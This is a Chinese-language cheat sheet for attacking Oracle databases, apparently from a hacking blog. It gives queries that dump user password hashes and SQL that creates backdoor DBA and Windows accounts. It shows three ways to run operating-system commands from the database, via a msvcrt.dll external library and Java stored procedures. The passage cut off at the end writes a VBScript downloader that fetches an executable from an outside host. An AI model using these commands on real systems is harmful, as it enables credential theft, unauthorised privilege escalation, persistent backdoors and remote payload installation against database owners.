基本查询指令
select * from V$PWFILE_USERS //查看dba用户
select * from v$version //查看oracle版本以及系统版本
select * from session_privs;// 查看当前用户拥有的权限值
select * from user_role_privs\\查询当前用户角色
select * from user_sys_privs\\查询当前用户系统权限

select username,password from dba_users; //查看所有用户密码hash
select * from dba_sys_privs where grantee='SYSTEM';\\查系统权限
grant select any dictionary to system with admin option;\\登陆不上OEM时候需要此权限
Select name,password FROM user$ Where name='SCOTT'; //低版本查看单用户密码
Select username,decode(password,NULL,'NULL',password) password FROM dba_users; //查看用户hash
create user bob identified by iloveyou;\\建用户bob密码iloveyou
grant dba to bob;\\赋予bob DBA权限
grant execute on xmldom to bob \\赋予用户execute
Create ROLE "javauserpriv" NOT IDENTIFIED
Create ROLE "javasyspriv" NOT IDENTIFIED \\当提示role 'JAVASYSPRIV' does not exist使用
select grantee from dba_role_privs where granted_role='DBA'; \\检查那些用户有DBA权限
select * from dba_directories;\\查看路径所在目录

第二部分,创建java,执行系统命令

no.1

Create or REPLACE LIBRARY exec_shell AS 'c:\windows\system32\msvcrt.dll';
/
show errors
Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
Create or REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors上面这个没有回显的

如果不行可以使用下面这个

Create or REPLACE LIBRARY exec_shell AS '$ORACLE_HOME\msvcrt.dll';
/
show errors
Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
Create or REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors执行完后
执行

exec oracmd.exec ('net1 user robert iloveyou /add');no2.

Create or REPLACE AND COMPILE JAVA SOURCE NAMED "Host" AS
import java.io.*;
public class Host {
public static void executeCommand(String command) {
try {
String[] finalCommand;
if (isWindows()) {
finalCommand = new String[4];
// Use the appropriate path for your windows version.
finalCommand[0] = "C:\\windows\\system32\\cmd.exe"; // Windows XP/2003
//finalCommand[0] = "C:\\winnt\\system32\\cmd.exe"; // Windows NT/2000
finalCommand[1] = "/y";
finalCommand[2] = "/c";
finalCommand[3] = command;
}
else {
finalCommand = new String[3];
finalCommand[0] = "/bin/sh";
finalCommand[1] = "-c";
finalCommand[2] = command;
}

final Process pr = Runtime.getRuntime().exec(finalCommand);
pr.waitFor();

new Thread(new Runnable(){
public void run() {
BufferedReader br_in = null;
try {
br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
String buff = null;
while ((buff = br_in.readLine()) != null) {
System.out.println("Process out :" + buff);
try {Thread.sleep(100); } catch(Exception e) {}
}
br_in.close();
}
catch (IOException ioe) {
System.out.println("Exception caught printing process output.");
ioe.printStackTrace();
}
finally {
try {
br_in.close();
} catch (Exception ex) {}
}
}
}).start();

new Thread(new Runnable(){
public void run() {
BufferedReader br_err = null;
try {
br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));
String buff = null;
while ((buff = br_err.readLine()) != null) {
System.out.println("Process err :" + buff);
try {Thread.sleep(100); } catch(Exception e) {}
}
br_err.close();
}
catch (IOException ioe) {
System.out.println("Exception caught printing process error.");
ioe.printStackTrace();
}
finally {
try {
br_err.close();
} catch (Exception ex) {}
}
}
}).start();
}
catch (Exception ex) {
System.out.println(ex.getLocalizedMessage());
}
}

public static boolean isWindows() {
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
return true;
else
return false;
}

};
/
Create or REPLACE PROCEDURE host_command (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'Host.executeCommand (java.lang.String)';
/
EXEC DBMS_JAVA.grant_permission('SYSTEM', 'java.io.FilePermission', '<>', 'read ,write, execute, delete');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
/
DECLARE
l_output DBMS_OUTPUT.chararr;
l_lines INTEGER := 1000;
BEGIN
DBMS_OUTPUT.enable(1000000);
DBMS_JAVA.set_output(1000000);

host_command('dir C:\');

DBMS_OUTPUT.get_lines(l_output, l_lines);
END;这个要注意两点
win下注意系统路径
linx下注意注释掉win
最后一句就是执行命令的
host_command('dir C:\');
#p#副标题#e#
no3.

create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
/
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
/
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;这句注意最后这里要授权下当前登陆的用户

grant javasyspriv to system最后执行

exec :x:=run_cmz('ipconfig');第二部分操作磁盘文件
no1.
建立目录

create or replace directory DIR as 'C:\';此目录当然也可以是启动目录

授权

grant read, write on directory DIR to system这步可以不用
然后执行操作
写文件

declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', 'test.vbs', 'W');
utl_file.put_line(file, 'Set xPost=CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http:/ /blog.cnmoker.org/rad.exe",0
xPost.Send()
Set sGet=CreateObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\rad
